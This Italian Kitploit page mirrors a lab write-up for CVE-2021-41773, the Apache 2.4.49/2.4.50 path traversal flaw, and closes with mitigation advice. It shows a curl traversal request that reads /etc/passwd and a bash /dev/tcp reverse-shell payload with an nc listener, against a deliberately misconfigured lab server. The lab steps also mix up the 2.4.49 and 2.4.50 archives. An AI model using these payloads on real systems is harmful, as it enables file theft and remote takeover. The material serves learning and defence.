Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-41773-POC — La documentazione del POC e della configurazione del laboratorio per CVE 2021 41773 | Kitploit
Strumenti/GitHubGitHub/ashique-thaha/cve-2021-41773-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubashique-thaha/cve-2021-41773-poc

CVE-2021-41773-POC

La documentazione del POC e della configurazione del laboratorio per CVE 2021 41773

Vedi Repository
1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-41773-POC

La documentazione del POC e della configurazione del laboratorio per CVE 2021 41773


Cos'è CVE-2021-41773?

CVE-2021-41773 è una vulnerabilità di path traversal in Apache HTTP Server 2.4.49 e 2.4.50. Questa vulnerabilità sfrutta un aggiornamento nel codice di normalizzazione dei percorsi introdotto in questa versione.

root@kitploit:~
The Path Normalisation Function:
Normally Path normalisation will filter out the url path to a standard
format to prevent adversaries from malicious actions.

Apache HTTP Server 2.4.49 ha introdotto una modifica alla funzione ap_normalize_path che è diventata la causa principale di questa vulnerabilità.

Se diamo un'occhiata al codice sorgente, possiamo notare che la funzione scorre ogni carattere nell'URL fornito e applica la sanificazione.

Ma la vulnerabilità è presente nella sezione del codice in cui viene eseguito il decoding dell'URL. La funzione è semplice: decodifica semplicemente il carattere codificato nell'URL.

root@kitploit:~
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
    path[l] == '%' &&
    apr_isxdigit(path[l + 1]) &&
    apr_isxdigit(path[l + 2])) 
{
    // Decode the percent-encoded character
    const char c = x2c(&path[l + 1]);

    // Check if the decoded character is alphanumeric or one of the allowed symbols
    if (apr_isalnum(c) || (c && strchr("-._~", c))) 
    {
        // Replace the last character with the decoded one and update position
        l += 2;
        path[l] = c;
    }
}

Il problema qui è che gestisce solo il primo punto . nell'URL, il che significa che se invece di ../ forniamo .%2e/, il server decodifica il %2e come un punto, che si traduce in ../

Caso normale:

root@kitploit:~
URL Input: http://target/cgi-bin/../../etc/passwd

Path Normalization Steps:

1. Detect ../ -> Attempt to traverse up a directory.

2. Normalize function -> will remove or block ../ 

Caso vulnerabile:

root@kitploit:~
URL Input: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd

Path Normalization Steps:

1. Decodes %2e  to . -> The Result is ./.././../etc/passwd

2. Partial Normalization -> Does not recognize .%2e/ as equivalent to ../

3. Path Traversal is not fully blocked.

Resulting Path: /etc/passwd (Access Granted)

Questo problema diventa pericoloso e sfruttabile quando viene combinato con le direttive del server. Queste agiscono come una regola per il comportamento del server Apache.

La configurazione Require all granted consente esplicitamente a tutte le richieste di accedere alle risorse all'interno della DocumentRoot.

root@kitploit:~
<Directory />
    AllowOverride None
    Require all granted  # Deliberately vulnerable setting, here it was denied usually
</Directory>

Se il server è configurato con la direttiva Require all granted a livello di root, l'intero file system diventa pubblicamente accessibile.

La directory cgi-bin in Apache è per impostazione predefinita una directory alias con la direttiva Require all granted, che consente l'accesso pubblico, il che significa che chiunque può fare richieste alla directory /usr/local/apache2/cgi-bin/.

Combinando il difetto logico nella funzione ap_normalize_path, che consente il bypass del path traversal, con una direttiva Require all granted configurata erroneamente sul server, gli attaccanti possono accedere ai file del file system del server al di fuori delle directory previste.

Questa vulnerabilità può essere ulteriormente sfruttata fino all'esecuzione di codice remoto (Remote Code Execution) se mod_cgi è abilitato sul server.

Per impostazione predefinita questo modulo non è abilitato su Apache HTTPD, il che significa che la versione predefinita non è vulnerabile a RCE.

mod_cgi consente l'esecuzione di script CGI (Common Gateway Interface) sul server e la restituzione dell'output al client; viene utilizzato principalmente per fornire funzionalità dinamiche ai siti web.


Configurazione del Laboratorio

  • Installa una VM Linux per creare il laboratorio
  • Dopodiché configuriamo la versione vulnerabile di Apache in questa VM

Scarica la versione vulnerabile di Apache (scaricandola dall'archivio perché la versione vulnerabile non è disponibile per l'installazione diretta):

root@kitploit:~
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz

installa le dipendenze:

root@kitploit:~
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
root@kitploit:~
sudo apt-get install build-essential

Decomprimi il file vulnerabile di Apache e configuralo:

root@kitploit:~
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install

Dopo che termina correttamente, vai al file di configurazione di Apache:

root@kitploit:~
sudo nano /usr/local/apache2/conf/httpd.conf

Aggiungi quanto segue al file di configurazione:

root@kitploit:~
ServerName 127.0.1.1

Avvia i servizi Apache:

root@kitploit:~
sudo /usr/local/apache2/bin/apachectl start

Vai alla directory predefinita del server web:

root@kitploit:~
cd /usr/local/apache2/htdocs

nota: normalmente la directory principale per Apache è /var/www/html, qui è /usr/local/apache2/htdocs perché non abbiamo installato il server dai sorgenti; possiamo impostarla su /var/ww/html se vogliamo. Ma per ora la lascio così com'è.

Crea un sito web statico di base:

HTML:

root@kitploit:~
echo "GNU nano 6.2 index.html *                                               
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2021-41773</title>
    <!-- Link to external CSS file -->
    <link rel="stylesheet" href="styles.css">
</head>
<body>
    <div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
  <h1>Error <span class="errorcode">404</span></h1>
  <p class="output">This is a replication of CVE-2021-41773</p>
  <p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
  <p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html

CSS:

root@kitploit:~
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';

html {
  min-height: 100%;
}

body {
  box-sizing: border-box;
  height: 100%;
  background-color: #000000;
  background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
  background-repeat: no-repeat;
  background-size: cover;
  font-family: 'Inconsolata', Helvetica, sans-serif;
  font-size: 1.5rem;
  color: rgba(128, 255, 128, 0.8);
  text-shadow:
      0 0 1ex rgba(51, 255, 51, 1),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.noise {
  pointer-events: none;
  position: absolute;
  width: 100%;
  height: 100%;
  background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
  background-repeat: no-repeat;
  background-size: cover;
  z-index: -1;
  opacity: .02;
}

.overlay {
  pointer-events: none;
  position: absolute;
  width: 100%;
  height: 100%;
  background:
      repeating-linear-gradient(
      180deg,
      rgba(0, 0, 0, 0) 0,
      rgba(0, 0, 0, 0.3) 50%,
      rgba(0, 0, 0, 0) 100%);
  background-size: auto 4px;
  z-index: 1;
}

.overlay::before {
  content: "";
  pointer-events: none;
  position: absolute;
  display: block;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  width: 100%;
  height: 100%;
  background-image: linear-gradient(
      0deg,
      transparent 0%,
      rgba(32, 128, 32, 0.2) 2%,
      rgba(32, 128, 32, 0.8) 3%,
      rgba(32, 128, 32, 0.2) 3%,
      transparent 100%);
  background-repeat: no-repeat;
  animation: scan 7.5s linear 0s infinite;
}

@keyframes scan {
  0%        { background-position: 0 -100vh; }
  35%, 100% { background-position: 0 100vh; }
}

.terminal {
  box-sizing: inherit;
  position: absolute;
  height: 100%;
  width: 1000px;
  max-width: 100%;
  padding: 4rem;
  text-transform: uppercase;
}

.output {
  color: rgba(128, 255, 128, 0.8);
  text-shadow:
      0 0 1px rgba(51, 255, 51, 0.4),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.output::before {
  content: "> ";
}

/*
.input {
  color: rgba(192, 255, 192, 0.8);
  text-shadow:
      0 0 1px rgba(51, 255, 51, 0.4),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.input::before {
  content: "$ ";
}
*/

a {
  color: #fff;
  text-decoration: none;
}

a::before {
  content: "[";
}

a::after {
  content: "]";
}

.errorcode {
  color: white;
}"| sudo tee styles.css

Modifica la configurazione di Apache per simulare la vulnerabilità:

root@kitploit:~
sudo nano /usr/local/apache2/conf/httpd.conf

Apporta una modifica in questa parte del file di configurazione in modo che la vulnerabilità possa essere sfruttata:

root@kitploit:~
<Directory />
    AllowOverride None
    Require all granted  # Deliberately vulnerable setting, here it was denied usually
</Directory>

Ora avvia il server Apache:

root@kitploit:~
sudo /usr/local/apache2/bin/apachectl start

Vai al sito web vulnerabile digitando

root@kitploit:~
http://<vm-ip>

Il laboratorio è pronto, ora vediamo come funziona lo sfruttamento:


Sfruttamento

Questa richiesta curl invoca la vulnerabilità:

root@kitploit:~
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'

in questo modo possiamo accedere al file /etc/passwd o a qualsiasi file del sistema


Ora proviamo l'iniezione di comandi e tentiamo di ottenere una reverse shell:

Sulla macchina dell'attaccante, imposta un listener netcat:

root@kitploit:~
nc -lvnp 4444

Ora invia il comando Bash one-liner tramite richiesta curl alla vittima:

root@kitploit:~
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'

Questo ci darà accesso a una shell.


Mitigazione

Per le versioni 2.4.49 e 2.4.50, la mitigazione raccomandata è aggiornare alla versione più recente.

Se l'aggiornamento non è un'opzione, è consigliabile controllare le directory per limitare l'accesso pubblico:

  • Le direttive Require all denied devono essere implementate su tutte le directory non destinate all'accesso pubblico e mai a livello della root/directory.

  • La directory /cgi-bin dovrebbe essere configurata con la direttiva Require all denied e non dovrebbe essere impostata come alias.

Scarica lo strumento